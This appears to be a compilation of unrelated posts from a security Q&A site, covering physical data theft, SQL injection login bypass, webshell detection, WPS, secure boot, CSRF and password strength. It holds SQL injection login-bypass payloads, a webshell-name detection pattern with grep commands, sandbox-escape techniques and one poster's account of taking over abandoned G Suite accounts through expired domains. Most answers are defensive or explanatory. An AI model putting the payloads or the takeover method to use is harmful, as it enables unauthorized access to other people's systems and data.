  They managed to gain entry to the data center and tied up the five
  staff members before stealing the equipment....

I would imagine that it would be much easier for someone inside the data center to steal data by taking out a raid disk during routine maintenance. Besides the implicit trust to host your server there, how do you protect yourself from being an unknowing victim of data theft? Would full disk encryption work if you need to supply them the password for performing maintenance?

If you are giving them both the thing to be protected and the means to access it, no, the encrypted disk is still vulnerable.

Typically you would handle this through separation of duties.  The person who has physical access to the machines would not also be given logon rights to the machines, nor would he be given access to any of the decryption keys.  For example, if we have a maintenance person replace a failed hard drive, he has to call the help desk to have the system re-imaged.  For a somewhat smaller shop, you might have one hardware guy with keys to the server cabinet, and a sys admin who has the root password and the encryption key, but no access to the server room.  You might not even let your sysadmin or DBAs have the database encryption keys - perhaps only your security officer would have that.

In case of emergency, you can keep a copy of the keys in a safe.  So at 02:30 AM when the SAN goes down, the sysadmin calls the security officer at home, the SO gives him the combination to the safe, and he gets the system back on line before the SO arrives at the office.  However, that sysadmin is obviously someone who now has a special responsibility, and he will be a suspect if that data later shows up on a crime web site.


Sharing sensitive information across servers on visits from the same browser I have this scenario:

Webserver domain A. Generates sensitive information when a request from a browser is received but this information is not disclosed to the browser.
Webserver domain B. Processes the information generated by webserver A on receiving a petition from the very same browser which contacted webserver A.

Communication between the browser and webservers is secured (https).
Webservers can communicate directly and securely with each other

How could I implement this scheme in a simple and secure way?

Thanks

Without more data I can only hint at some ideas.

I see two basic strategies:

Encryption: Webserver B has a public/private key. Webserver a knows B's public key. When the client makes the request to A, A returns the data encrypted with B's public key. The browser then passes the information to B for processing.
Side channel: When the browser contacts A, a token is returned. The browser passes the token to B. B then contacts A directly, likely authenticating to A, and passes A the token. A, upon seeing the token and that the current user is B, sends the data directly to B.

Hope this helps. Add more information to your question if you want more specifics.


Compromise Google GSuite by buying expired domain I saw a question a few days ago that talked about if a domain is bought by someone else then would the emails to that domain be compromised. And it got me thinking about google gsuite and specifically the use of the services like gmail, files, and photos.

Say my domain.xyz which is registered with gsuite expires and someone else buys it. If I remember correctly the administrator password of gsuite can be reset by using a DNS txt record on the domain. If someone else owns the domain now he can easily reset the administrator password.

With administrator access the new owner or lets say the intruder could easily have access to ALL USERS email/files/photos/etc in my company by resetting the passwords.

My question is:

Is my observation correct?
If it is, will the new owner of the domain get access to my entire companies or all employees files/emails in gsuite? Or will google clear everything?

A couple of months ago I was searching google for the same questions, and I found that someone is providing the list of expired domains where free google legacy accounts are still active.

https://www.fiverr.com/share/DAPPA

I ordered that service and received a list of available domain names. All login pages for those domains were active but no login info was provided.

As per the guide provided by seller, anyone can reset admin user password by verifying domain ownership. But when I start the process by registering a domain name it was not like that, google asked me a lot of questions about account owner and old organization in order to give me the account access.

There were few recovery methods explained in the guide which were quite difficult to complete, I register 11 domains but failed to recover Gsuite accounts on all accept 3 with 500 users free license. It took me 3 weeks of research to succeed.

Conclusion:

Old Gsuite account recovery is a nearly impossible and quite difficult process but if you find any loophole or sufficient information about the previous account holder and his company details in archive web, you can reset admin password as I did.


SQL Injection - login bypass Background information: SQL Injection as a school task. Login bypass. Given two input fields name and password. Confirm via solve button.

Info on what I have and was able to find out:

it is obviously vulnerable being a task to log in into a system, while having forgotten the password (classic form with to input fields: name: INPUT , password: INPUT )
a hint is provided that my Login-ID for the tasks page is always being accepted, therefore only the password should be missing (form: name: "my ID", password: INPUT (?))
the server runs/emulates MySQL, I found this due to errors I received while trying different inputs (e.g. "' OR 1=1"-Tricks, Union-Commands, Outcommenting, etc.):
-> the structure is showed through MySQL syntax errors: SELECT name,password FROM login WHERE name='xyz' and password='xyz'
-> Union-commands work due to e.g. column number errors
Magic quotes are off (?) or I wouldn't be able to evoke SQL-commands, I guess
Using GBK characters to bypass the manipulation through ' didn't work either, it seems like they are not being recognized
No PHP code available
Server returns 'task solved' when the login is successful

Question: What possibilities are left for me to try in order to finally log into the system successfully via sql injection?

Examples for inputs I tried:

name: myID [which is the ID that the hint suggests]

password: ' OR '1'='1

server returns 'wrong answer' (login not successful), no mysql errors

name: myID' OR '1'='1' --

password: whatever

same result

name: myID' AND NOT ('1'='2

password: foo') AND name='myID' LIMIT 1 #

same result

Errors for example, when:

name: myID' OR 1=1

password: whatever

server returns 'wrong answer' (login not successful), results in syntax error, because input is put into ' '

The authentication mechanism is implemented at the back-end and hence, there are two key services which many security professionals offer:

White-box security assessments
Black-box security assessments
Gray-box security assessments
Glass-box security assessments

I won't go into details of each of these service offerings as it's plainly business model of the company, organization and the way these key services are offered but for the technical understanding, one would need to consider that it depends on the type of services the test cases have to be prepared.

For an example, one might not have access to the source code, and this must not stop an attacker given the time & resources to attack a certain entry point i.e. in this case - a login entry. What you'd need to input depends on the source code but as a black-box security consultant, you would need to figure out trial and error basis of approach of what must be the back-end and accordingly prepare your attempts.

This approach is highly time-taking but could be automated by Burp Suite 'Intruder' and a list of possible inputs could be fed to the intruder in order to automate the task for you. Additional authentication bypass have been described here. As for the errors you've received, check all of these following items:

Make sure you aren't tapped into a back-end login honeypot.
Make sure when automating, the application hasn't employed rate limits.
If the above is true, make sure, you have adjusted timing at Intruder.
If howsoever, the rate limitation measures are Geo-location based, try pivots.
If system returns 'task solved', you'd require to grep the output from the results of the intruder and hence investigate that particular HTTP responses. Or, you can go through the 'response codes' and select 302 responses provided system doesn't throw 200 on every attempts (if login successful or not) or 500 at an error stage.

Sometimes, many testers over-estimate and never try simpler methods which is to see if admin/admin works or the list provided here works. It again would depend on trial and error approaches without having to know the exact source code but attempting to enumerate from all errors that you trigger and then construct your bypass. Try admin' or '1'='1'-- on both fields for an example along with others mentioned on the list.


Finding a Webshell script in User home directories. We recently had an issue with one of our servers. We want to scan our User's home directories in order to detect if there are in Web Shell Scripts present.

We have implemented a script to list all file types in the public_html directory of 400 so User directories but we are having trouble determining which script whether .php or shell type is malignant.

Is there a way to find out or differentiate between normal web .php scripts from malignant scripts.
Any help on this would be greatly appreciated

There are many approximations to find for LFI,RFI, Webshells, Password Grabs, Web Scanners so you could do the following :

Start by checking my access logs, it really depends what webserver I'm  using, for this part you could use different tools but if you want to build your own tool you maybe want something to start like the Irongeek's Logwatch Script which is a little old but this will give you some ideas.
Search site folders/directories for suspicious files like the popular backdoors that are readily available on the internet

sploitpattern='r0nin|m0rtix|upl0ad|r57shell|cFaTaLisTiCz_Fx|Tukulesto|99shell|shellbot|phpshell|void.ru|phpremoteview|directmail|bash_history|.ru/|brute*force|multiviews|cwings|vandal|bitchx|eggdrop|guardservices|psybnc|dalnet|undernet|vulnscan|spymeta|raslan58|Webshell'

find ./ ( -regex '.*.php$' -o -regex '.*.cgi$' -o -regex '.*.inc$' ) -print0 | xargs -0 egrep -il "$sploitpattern" | sort >potential_exploits.txt

Search site files for suspicious content with grep/findstr
using grep command line tool because most vulnerable web applications use the shell_exec,or include things like PHP vulnerable functions, so  searching for the shell_exec and inclusions in folders to check for the possible PHP files that are vulnerable to RCE or command injection.

grep -Rn 'shell_exec *(' /var/www
grep -Rn 'include *(' /var/www
grep -Rn 'require *(' /var/www
grep -Rn 'include_once *(' /var/www
grep -Rn 'require_once *(' /var/www
grep -Rn 'base64_decode *(' /var/www


Is MAC address filtering effective on a wifi router? I want to improve the security of my home wifi.
My neighbor wants to crack my Wi-Fi password with a nutcracker.

I tried to activate the protection by MAC address, but now my laptop and smartphone don't have access to the box. Is MAC address filtering effective?

How else can I secure my Wi-Fi?

MAC address filtering is a very weak form of wifi protection:

the MAC addresses of your devices can be easily eavesdropped with tools like wireshark
the MAC addresses of their devices can be easily changed (OS dependent, but typically an option in Network Settings).
MAC address filtering is annoying to maintain.  You have to login to your router configuration every time a new device connects, find the MAC address in the settings of the new device, type in 12 seemingly-random hexadecimal digits (or copy from the logs of connection attempts), and still tell the new device the new strong wifi password.

To secure your wifi, make sure you use WPA2 with a strong passphrase (e.g., 6-8 random words) with WPS (Wifi Protected Setup) disabled (WPS is broken).  You should also check that your router doesn't have any known backdoors.

The strong high-entropy password is extremely important.  Wifi passwords can be cracked in offline attacks after capturing a handshake, at a rate of trying millions to billions of passwords per second.  However, 8 words randomly taken from a dictionary with 10000=104 words, means there are 1032 passwords the attacker would have to try (assuming the attacker knew that's how you choose passwords -- the rate will be worse if they don't know this).  At a rate of a billion passwords per second per computer with a million computers, it would take more than a billion years to crack an 8 random word password.  (Note picking a well known quote/phrase is much much weaker even if it is 8 words long.)  A passphrase of six random words would have 1024 (e.g., with a million computers doing a billion passphrases per second it would take only 31 years to break).  Note a four-word passphrase only has 1016 so a single computer doing a billion passphrases per second would take about a month or two to break it.  A three-word passphrase can be broke by a single computer in under 20 minutes.

Note, if you choose to go the random characters route, if you choose characters randomly from uppercase+lowercase+numbers, then a three-word passphrase is about equal to a 7 character password, a four-word passphrase is about equal to a 9-character password, a six-word passphrase is about equal to a 13 character password, and a eight-word passphrase is about equal to an 18 character password.


Guidelines for password register size in embedded devices I'm working on an embedded systems project for school in which we need to store a password (or key, whatever). The idea is that this design should eventually be reducible to bare-metal hardware and manufactured on an extremely large scale. For that reason, every bit counts in terms of cost.

This system should also be highly secure. There will be password lockouts, retry delays, etc., but the size of the password (or key, there's no reason to expect that the key needs to be entered by a human) is of critical importance, as the project starts with single-factor authentication (MFA added later).

Question

I simply want to allow the end user enough space (bits) to create a secure password. For instance: it costs me 6 cents for every additional 8 bits of a password. I decide to only spend the 6 cents and the user is allowed a 1 character password, which they can choose - bad news. By the same token I would like to avoid buying 800 bits for $6 if a 400-bit password for $3 would have sufficed. Are there official guidelines or SOP on password size and resistance to brute-force attacks?

Remember that entropy is an attribute of a password, but it is not the password itself. You need a consistent way of transforming a password into that amount of entropy. Normally, this is done through a hash function, such as SHA256. (For a less secure system than bits on a chip, where the bits may be exposed through hacking such as a database on a web server, it's common to use a special purpose password hashing function, such as PBKDF2.)

SHA256, by definition, produces 256 bits of output. Obviously, you don't want to store 256 bits if you only need to store the entropy of a secure password. What you can do is estimate the capability of a credible attacker, and truncate the output to that.

To implement this, run the password through the hash algorithm, and save only the first n bits of the output. The properties of a modern hash algorithm include the property that a single bit of change in the input will produce a statistically random distribution of bits in the output. That means if I guess the password is AAAAAA, then guess AAAAAB, the outputs are completely unrelated.  All you have to do when the user enters their password is run it through the hash, and compare the first n bits to the stored bits. Collisions are precisely as unlikely as the number of bits you store.

Some people believe that 80 bits is enough to survive millennia of brute force attacks given current and near-future technology; this assumes no viable weakening attack is found on the algorithm. Other people believe that 128 bits is large enough to withstand any brute force attack. The banking industry trusts 3DES for credit card and PIN data, and that has 112 bits of entropy.  I'd decide the budget based on what others in the industry are doing.


Are PS/2 devices a risky piece of hardware for modern point of sale devices to be using? This question is based off of a TempleOS question here on Super User. The gist is that PS/2 support seems to be disabled from many modern BIOS’es due to a possible security flaw in the protocol. Specifically from this section on the TempleOS site explaining “Why Not More?”:

  I don't stand a chance working on native hardware, anymore.  I could install and run natively on hardware from about 2005-2010.  It requires BIOS's being nice enough to write USB mode PS/2 legacy keyboard/mouse support.  As it turns-out, sometimes the BIOS has PS/2 drivers but purposely disables them, just to be mean. The CIA and whole industry is trying to mess everything up, on purpose. Perhaps, at a point of sale in a store, a thief could hack a credit card machine. Therefore, the BIOS companies actually want it difficult to make  drivers and purposely make it broken.

This seems confusing to me. The casual claim here is that PS/2 protocol is somehow weaker and more prone to—what I believe would be—man in the middle attacks on a hardware level on point of sale devices. But is that really the case with PS/2 protocol? Isn’t it the case that USB protocols are actually more risky for point of sale devices because of USB’s inherent flexibility?

Can anyone provide solid info on how/why PS/2 might be less—or more—risky to data leakage on a device level?

TempleOS is a hobbyist OS designed to be God's temple developed by the late Terry Davis, a man who had severe schizophrenia.* Despite being an excellent programmer with a deep understanding of hardware, almost nothing he said was rooted in reality. Many of his design features came from his belief that God wanted it that way. He also believed that the CIA (in addition to glow-in-the-dark space aliens and African Indians) were out to get him. I would not take any of his claims seriously.

sometimes the BIOS has PS/2 drivers but purposely disables them, just to be mean

This is untrue. A BIOS disabling its PS/2 driver is completely irrelevant to the vast majority of people. It is only relevant to hobbyist OS developers who use the built-in BIOS drivers, instead of writing their own as they should. A BIOS disabling its PS/2 driver will not impact any contemporary operating system that wishes to directly interact with the hardware (and no modern OSes use BIOS calls).

Perhaps, at a point of sale in a store, a thief could hack a credit card machine.

The PS/2 protocol is not authenticated, but neither is USB. Any man-in-the-middle between the PS/2 device and port would be able to sniff and inject keystrokes, but this is not considered an issue as it requires physical access to a computer to pull off (inserting a hardware keylogger). However, it is illogical to conclude that this allows someone to hack a PoS system using PS/2.
* I have personally witnessed him, on IRC, spend more than 12 hours straight talking to a markov bot he created with text from the Bible. It was a highly surreal experience.


openssl certificate chain - windows I have a ROOT_CA and a subCA. The subCA issued a certificate for a website (CUPS1.local). Moreover I have Windows clients; the ROOT_CA is already installed as Trusted Root Certification Authorities.
Validating the subCA works using openssl verify and also I can see it in Windows.
I can also verfiy the certificate for CUPS1.local in openssl via
openssl verify -CAfile /etc/certs/cacert.pem -untrusted subCA_websites.crt cups1.crt
cups1.crt: OK

Moreover, if I create a chain the certificate is also OK
cat /etc/certs/cacert.pem subCA_websites.crt > chain.pem
openssl verify -CAfile chain.pem cups1.crt
cups1.crt: OK

Now, I also want Windows to see these certificates as valid. And here is the problem:
Windows does not see the certificate chain:

However, after installing the certificate of the subCA, the certificate for CUPS1.local is valid.

Hence, maybe I misunderstood some basics: Do I need to install the certificate of every subCA as Trusted Root Certification Authorities? Is there another way to implement the certificate chain into the certificate for CUPS1.local, such that I only need to install the ROOT_CA and not all the subCAs?
Short update:
Well, since the certificate was intended for a website (CUPS server) the chain works by combining:
cat cups1.crt subCA_websites.crt /etc/certs/cacert.pem > chain.crt

When I add this chain.crt to the CUPS server (and also the key-file), I can open the website without error message. I do not need to install the subCA certificate, only the ROOT_CA is fine.
Anyway, out of curiosity I would like to understand if windows can also somehow read the chain?

Anyway, out of curiosity I would like to understand if windows can also somehow read the chain?

There is no "somehow read the chain". Either it has the necessary chain certificates or it does not. It can have the certificates if they are provided up-front (i.e. installed locally) or if they are provided during verification. The latter is the common case, i.e. it is expected that the web server actually provides all necessary chain certificates along with the server certificate during TLS handshake.
If the chain certificates are missing some implementations might try to fill in the missing chain certificates for validation. For example Firefox caches chain certificates seen on past websites and then tries to use these cached certificates to fill in missing chain certificates. This works pretty well for public websites since the trusted root CA only use a small set of chain certificates. Chrome also tries to extract the URL of a missing chain certificates from Authority Information Access | CA Issuers information in a certificate and then loads missing issuer certificates from the given URL.


What are proper methods to automatically detect malware and are current methods reliable? What I have seen so far is the ability to automate signing hashes and string offsets as a way for an AV-engine to detect possible malware. Does this prove to be a good strategy for malware detection? It doesn't seem to be so since it relies on static strings and has no defense for self modifying code let alone the huge influx of new malware.

What are other strategies for detecting malware (that could potentially be automated)?

Going back to a security in layers approach, there is no one magic bullet. Good detection / protection involves the use of multiple systems working together.

For Detection:

Start with good AV software (av-comparitives.org) and then add end-point protection (e.g., Carbon Black, Sophos, F-Secure...) top it off with some network monitoring (e.g., Splunk, BTB's RADAR, AlienVault...)

For Protection

Client-side firewall (for when not on the corporate network)
Corporate firewall with proper egress and content filtering. Next-gen firewalls like Palo Alto can do deep packet inspection but they get pricey.

And as always... good security awareness training programs to educate your weakest link (the user) ;-)


Is there a spreadsheet/template for Mapping WebServices Authorization Rules? I'm looking for a spreadsheet/template that allows the business-rules (i.e. 'who has access to what') to be mapped, visualized and analyzed.

In the past I have created a couple of these (some even with automation using the O2 Platform), but NDAs prevented me from sharing. So while helping with a set of Python scripts to test TeamMentor's WebServices, I took the time to create a model which I think came out quite well.

You can read about it here: Creating a spreadsheet with WebService's Authorization Mappings and this is what it looks like:

https://docs.google.com/a/owasp.org/spreadsheet/ccc?key=0AhHDFVmo550OdDZUcDU5eXpGVGFKWDZjS3VGUHdUTXc

Since I'm going to integrate this with O2 next, it is easier to change it into a better format/standard now (vs later).

I also think that we should have a couple of these templates in an easy to consume format on the OWASP Wiki (I have lost count the amount of times that I have tried to explain the need for 'such authorization tables/mappings' without having good examples at hand).

Note that creating these mappings is just one part of the puzzle! Also as important is the ability to keep it well maintained, up-to-date and relevant.

Oh uggh!  It's an interesting problem, as some of the bigger LDAP providers (that's you AD!) don't even recognize services as securables and IMHO they really should - IFF you have the ability to use some standardized LDAP provider for role management, then you can trawl a lot of vendor offerings for tools to help you in this -  bottom line is don't roll your own authorization, try and piggyback onto an existing LDAP provider where you can set up OUs, groups, etc to handle this for you and then use standard tool chains to monitor/report this
One other point - try and create the tables people refer to at the time they demand them, don't store stale copies -  people come and go, apps come and go, authorizations change


Understanding Secure Boot I'm trying to understand the secure boot process of an OS but there are few points I can't wrap my head around.
At a high level, afaik, secure boot ensures that the loaded OS is authenticated by its respective vendor. If an adversary modifies the OS code,  the authentication checks during secure boot fails and user is notified.
What I want to understand is how's this mechanism implemented at a low level.
My understanding is as follows.
There's a read-only memory (ROM) where the program which initiates the booting process is written along with a public key by the manufacturer. Integrity of this code is basically implicitly trusted, so this program is  the root-of-trust. This program is loaded by CPU first and upon execution, it verifies and loads the next component in the booting process. Next component verifies the next next component and so on until all the components of OS are loaded.
However, what ensures that CPU really starts booting the system from the correct ROM? Can't an adversary force the CPU to read a malicious initiating program that disregards the verification step? That is, there should be another component that ensures the system really starts from the root-of-trust program. What's that component or is my understanding of the process is incorrect?

However, what ensures that CPU really starts booting the system from the correct ROM?

Usually ROM are sorted onto motherboard. Since information once written to ROM can not be electronically altered, the only way a computer to use another ROM is change of motherboard which requires physical access to machine. As suggested by  @multithr3at3d in the comments if an adversary has physical access to machine, there is no restriction to what can be done.

Can't an adversary force the CPU to read a malicious initiating
program that disregards the verification step?

Rootkits may change the sequence of boot-loaders or change the boot-loader with a malicious one. The BIOS doesn't know the difference between a trusted boot-loader and a malicious one. Hence Secure boot is in place to help avoid it.


How do you safely research dangerous websites? A university course has tasked my wife with researching websites that would, I imagine, get her placed on an FBI watchlist.  Their advice is to not provide any PII, do not interact with anyone, and do not download anything.

Aside from going incognito, are there other steps that she can take to be a little safer?  Perhaps use a proxy of some sort?

Carrying out this task I would either use a commercial proxy, or the Tor network.
The easiest way to safely use the Tor network is to use Tails Live.

If you choose a commercial proxy think about which ones are going to be the easiest for your government to get hold of the logs for. Maybe choose one that is based in a foreign jurisdiction.


Does CSRF work if your browser has stored cookies? So say I've stored Facebook cookies, so that I don't have to login every time I visit Facebook. Would a CSRF attack on Facebook work(assuming they don't have CSRF protection), if I don't currently have a browser tab open logged into Facebook?

Though there are some details that impact this, going by the general principles, the answer is YES.

An attack exploiting CSRF would attempt to execute some function of the target site (facebook, in your example) in the browser context.

So the key test is: If you open facebook in a tab (in the scenario you mentioned), would it give you a logged-in session directly. It appears that it would. In that case, it meets the conditions necessary to mount a CSRF attack.

There are many nuances. For example: Vulnerability != Exploit. i.e., though the attacker may get CSRF to work (and produce a POC to get a bug bounty or complete a VA/PT assignment) - there may be nothing there to exploit due to other protections. e.g., if additional auth is required to really do any damage.


Password strength of random words and brainflayer I have read from multiple sources that it might be better to have a password composed of several random words since this is easier to remember than a random sequence of characters. For example this article from Thomas Baekdal. I even see this xkcd comic quite often.

Now, I read this article about a new tool called brainflayer, currently target Bitcoin wallets, that can guess 130000 passwords a second. This makes Bitcoin brainwallets useless. I wonder if  a similar tool could be used against all passwords and are passwords such as "this is fun" really as safe as Thomas Baekdal claims?

I wrote brainflayer and gave a talk about it at DEFCON. Neither Thomas Baekdal's article nor XKCD's comic apply well to modern offline attacks. I read Thomas's article and his FAQ about it, and it may have been marginally reasonable when he wrote it, it no longer is. A key point is that password cracking attacks have gotten much better since then.

  Q: If I cannot write "this is fun" because of the spaces, can I not just write "thisisfun"?

  A: Absolutely not! The reason why "this is fun" is 10 times more secure, is simply because it is much longer (11 characters). By removing the spaces, you reduce the length and the complexity substantially. The spaces are effectively special characters, which in itself makes the password much more secure.

  Use "this-is-fun" instead.

Password crackers don't try long brute force attacks much - it's all about cracking ROI. A smart cracker will try word combinations with various delimiters, so using spaces, hyphens, underscores or nothing all ends up providing about the same security. Today's cracking methods use wordlists - which can include phrases - and large corpuses of previously compromised passwords along with popularity. This is combined with rule-based permutation and statistical models. Ars Technica posted a great article detailing modern techniques mid-2013, and attacks only get better.

I am also of the (possibly controversial) opinion that it is pointless to talk about guesses per second for offline attacks. A much better way of thinking about it is guesses per dollar. If you want to be pedantic you could add a one-time guesses per second per dollar cost, but the operational cost will tend to dominate. Brainflayer's upper bound on operational cost is 560M guesses per dollar, based on EC2 spot instance benchmarks - with zero one-time cost. It's possible to make these costs many orders of magnitude higher with a "harder" hash function like bcrypt, scrypt, PBKDF2 or, once it is finalized, Argon2.


How to prevent sharing of document templates in Google drive that I didn't authorize? Not too long ago, I decided to switch to Google Drive and Docs to write my cover letter and resumes, I already use the e-mail address to send them anyways, so using Drive and Docs seemed like a good idea.

I uploaded a template document that contains the basic information that is common on every application I send out (name, phone, Github url, previous work and education history, etc), and I made sure that only I could view the document.

I use KeePass to create and store a 64 character password (mixed with numbers, letters, and symbols), and I make it a habit to change the password periodically.

Yesterday, when I signed in, I realized the template was shared with someone that I don't even know. I can't understand how this happened, and I nearly shutdown the account. So far, I've removed the documents and migrated back to my previous workflow of using a word processor and a portable HD to store my documents.

If I were to shutdown the account, would who ever I shared the document with still have access to it? What should I do to prevent this from happening again?  The information isn't too sensitive (you can get the same information on Linkedin), but I'm unsure of how to proceed.

It sounds like you've created a document-template & saved it to the template-gallery in google-docs. This would make your template public.

If you're using & paying for g-suite, you can (likely, I haven't tested this) make private templates.

But if you're using the public/free google-docs, your templates will be made public.

That's not to say your documents can't be private in google-docs, but that document-templates are made public. You may want to work around this by making copies of a document which stores the commonly used content, rather than using a template to store the content which is commonly used across your documents.

Templates are meant more for storing layout/functionality than for storing information.


How does holding the shift key protect my system from viruses on an USB? I saw a tip on our local cyber security center informational page that holding the shift key on Windows while inserting a USB drive protect the system from being filled or attacked by malwares on that USB device.

Is this true? What is the mechanism behind this method? And is it just for the Windows operation system or is it a general rule for all operation systems?

In addition to what @matthew has said, there are devices that pretend to be keyboards (most popular one is called a rubber ducky) and will auto type commands at a speed that you either wont see them be executed or if you do, you will be too slow to do anything about it. If you are pressing Shift, Ctrl or Alt then the commands will be changed due to your key press and will fail. Shift is the key that gives you the least amount of protection for this type of attack due to the attach having to be case sensitive to be stopped with it. With Ctrl and Alt a key press will do a completely different operation.

Shift+c produces C
Ctrl+c produces the command "copy"


Any suggestions while testing a sandboxing driver? I am doing penetration testing of a sandboxing driver and trying to break the sandbox. It is implemented as a kernel mode driver. A sandboxed process will have :

 A whitelist of disk locations for read operations
A whitelist of disk locations for write operations
A whitelist of IP address/ports for outbound connections
It should only allow TCP connections to be opened.

Are there any specific scenarios I can test ?
Are there any open source libraries out there for testing a sandboxed environment ?
It would be great if anyone can share their prior experience with such type of testing.
Thanks in advance!

Note: I need to test for Windows Server 2008 R2 64 bit.

There are two approaches, the quantitative and the qualitative.

The quantitative consists of fuzzing the input to the sandboxing driver. Use a fuzzing framework like Peach, Sulley or other to fuzz that input and look for crashes or file operations outside the sandbox.

The qualitative approach involves reverse engineering and understand the sandboxing mechanism. Then try to combine that understanding with different features Windows provides and different levels of privilege other components might have. The sandbox might restrict file and network operations but will it restrict injecting into a different process?

Scenario ideas:

Manipulating other processes and the system to write outside the sandbox
Using native system routines NtWriteFile and ZwWriteFile
Loading drivers and writing to devices like \\Device\Harddisk4\Partition2\mydir\myfile.txt, \DosDevices\c:\path_to_file.txt, \Device\Tcp
Loading DLLs with rundll32.exe
Unhooking or confusing hooking mechanisms
Using symbolic links to confuse the sandbox
Using alternate data streams fileinsandbox.txt:fileoutsidesandbox.txt
Performing directory traversals path\in\sandbox\..\..\..\outside.txt
Using environment variables like %SystemRoot%, %WinDir%, %TEMP%


Is my router vulnerable if WPS is enabled but WPS pin code is disabled? I was reading about Reaver and wi-fi protected setups (WPS).
In my Netgear router I have the option to disable the WPS pin code, but still have the WPS push button enabled. Am I secured with such configuration?

Or does Reaver also attack WPS without the pin?

If Netgear has implemented it properly, WPS Push-button-connect should be secure.  However, I have no idea whether Netgear has implemented it properly, and if they haven't, you might be insecure.

The known attack on WPS is described in this paper:

Brute forcing Wi-Fi Protected Setup, Stefan Viehböck, 2011.

For another great explanation, see also:

How The WPS Bug Came To Be, And How Ugly It Actually Is, Dan Kaminsky, 2012.

The attack described there breaks the PIN-based forms of WPS.  It is not effective against a properly implemented version of WPS Push-button-connect (PBC), because a remote attacker cannot physically push the button your router, and WPS PBC requires someone to press the button before it can proceed.

Therefore, if Netgear has implemented WPS PBC correctly, and has properly disabled all the other forms of WPS, you should hopefully be safe (fingers crossed).

(Do make sure you are running the latest version of the Netgear firmware.  The WPS attacks were only discovered less than a year ago, so versions of the firmware written before the attack was discovered are very likely to be vulnerable.)

That said, router vendors have screwed this stuff up before.  The bad track record, and the fact that it is not easy for an average user to tell whether they've finally gotten it right this time, does give some room for concern.  I think it would be understandable if this makes some security folks throw up their arms in disgust and say "oh, to heck with it, just turn off WPS, I don't trust the router vendors to get this right".

So, how much do you trust Netgear to not screw this up?


Mechanisms to offer inexpensive https to all second level .wiki domains I'm working with the registry for .wiki, a new generic top level domain set for public availability in June 2014.  We're going to be giving away hosted wikis to registrants of .wiki domains and I'd like to use only https across the board on these wikis.

Purchasing an ssl cert for each second level domain is cost prohibitive and I see from Can a wildcard SSL certificate be issued for a second level domain? that web browsers reject *.tld certs.

We control the nameservers and webservers for all the .wikis we host and prepared for legwork if need be (e.g., convincing browser manufacturers to support a *.wiki cert).

What mechanisms can you think of that would allow us to inexpensively offer https across a wide swath of the *.wiki space?

I don't think this is going to work. Some of the hostnames under .wiki will be under your control. But a wildcard cert for the TLD would allow you to masquerade as the authoritative server for any .wiki hostname, even ones that you don't provide hosting for.


How reverse proxy works? I know that forward proxy can enhance security by replacing client IP's address with proxy server IP address. So, the web server or anyone else cannot identify the client identity who's requesting a website.
However, can the reverse proxy do the same thing? Can it somehow hide the IP address of the web server? I read some sources on the internet, some saying yes (but not having detail explanation), while others say impossible because it's like you want to hide your phone number but still expect others to call you.

A typical reverse proxy which also serves as a security layer are content delivery networks (CDN) like Cloudflare or Akamai. They make it possible to hide the server behind the CDN, i.e. the server can be mode to only accessible from the CDN and each client will need to access the CDN in order to access the server. The CDN not only hides the original IP address but usually provides also further protection against DDoS and web based attacks.

...  while others say impossible because it's like you want to hide your phone number but still expect others to call you.

The DNS is setup in a way that the domain points to the CDN and not the original server. The CDN is configured to forward the traffic to the original server then.


Possible website hack? I have been receiving some strange requests on my website from foreign countries. For example, 218.83.152.252/judge112233.php, /www.travelimgusa.com/ip.php, //59.53.91.9/httpproxy/proxyheader.php, /w00tw00t.at.ISC.SANS.DFind:) and they are all giving the status code 200. I've got no idea what all this means. It's an e-commerce site and its powered by OpenCart if that helps.
Hoping someone can help me out!

Have had another look at the reports through Logaholic and have noticed that the code 200 requests were before the hosting company set up a dedicated IP and SSL certificate for me. After it was set up the requests have 404 codes. So I think it's OK. Sorry to be a pain!

There is nothing to worry about. Tons of web-crawlers are bombarding our websites with requests like that. Probably they are trying to figure out if someone uploaded web-shells (and renamed them as judge112233.php, ip.php, etc.) to your server.

Just make sure that your server hasn't got these files.


RSA 4096 key size difference - "sig" and "sig 3" Whenever I generate a new 4096 RSA key in my GPG program and export the public key to a text file, I get a text file containing a total of around 52 lines (it varies, one of them is 53 lines).

However, I just imported a public key from another guy I found on his website. My GPG program shows that his key length is also 4096. However, his key was only 30 lines, not even close to 52-53.

What explains this difference? How can he have such a short public key even for 4096?

The line width is 64 characters in every case (where the key is at full width, which is most of lines).

When I counted the liens, I started at "-----BEGIN PGP PUBLIC KEY BLOCK-----" and ended at "-----END PGP PUBLIC KEY BLOCK-----".

Updates:

I found the reason. My key contains both "sig" and "sig 3" with the same ID. The other guy's key contains only the "sig". This explains the difference, I guess.

My questions now:

Why should I keep the "sig 3"? Why where both "sig" and "sig 3" generated for me?

When I export the public key, my program doesn't give me any option to pick only one of them. It's either all or nothing.

Is there any good reasons to provide people with both "sig" and "sig 3"?

What do you recommend I do?

The signature levels are defined in the man page under --ask-cert-level and --default-cert-level.  sig refers to cert level 0, "means you make no particular claims as to how carefully you verified the key."  sig 3 refers to cert level 3, "means you did extensive verification of the key."  So self-signatures, which are created at the time of key generation and which I believe are part of cross-signing, are level 3.  sig would have likely been made by someone signing your key or by you signing your key with another key of your own, because the default cert-level when signing, is zero.
If you ever want to get rid of a signature, run --edit-key.  Then, because signatures are associated with specific UID's you will have to select a UID associated with that signature.  (See the digit in parenthesis next to the UID when you run list.)  Select that UID with uid n, and then run delkey.  I don't suggest you delete the self-signatures though, as that will destroy the integrity of your key (see the link regarding cross-signing).


Is this a "standard" security policy? For our development we work primarily on AWS.  We have data on S3 with varying levels of security, prod, integration, development, etc.

When working with data, we often have to run ad-hoc analysis.  We may not know what the final structure of the directories will be when we start.  We may be running on large datasets that fail in intermediate steps and we have to continue halfway through.

However, we have no where that we can delete files/folders.  We simply have to overwrite the existing data (we have replace, not delete) or do something like

s3://some/analysis/<date1>,s3://some/analysis/<date2>s3://some/analysis/<date3>

While this does technically satisfy the requirements of letting us do work, it make working more challenging, specifically in the ad-hoc situation.

For example, I may run something that worked on 1 week of data locally, but has some memory issues on 1 years worth of data.  So, 1/10 of the way through it errors.  Ok, now I have to start another run in another directory because the software we are using doesn't allow replace (replace is a delete then write) and it can error at any step along the way, I may need to change something halfway through, and by the end I have many directories in which my data is scattered.

Yes, I did my work, but the process is error prone as I have to track my analysis' versions and at the end put it all together.

I've never been in an environment where I couldn't delete any files, even in my own personal work directory.  (We have no audit log requirement on random analysis, or at all)  The security admin says this is standard practice and we should look at best practices for security.

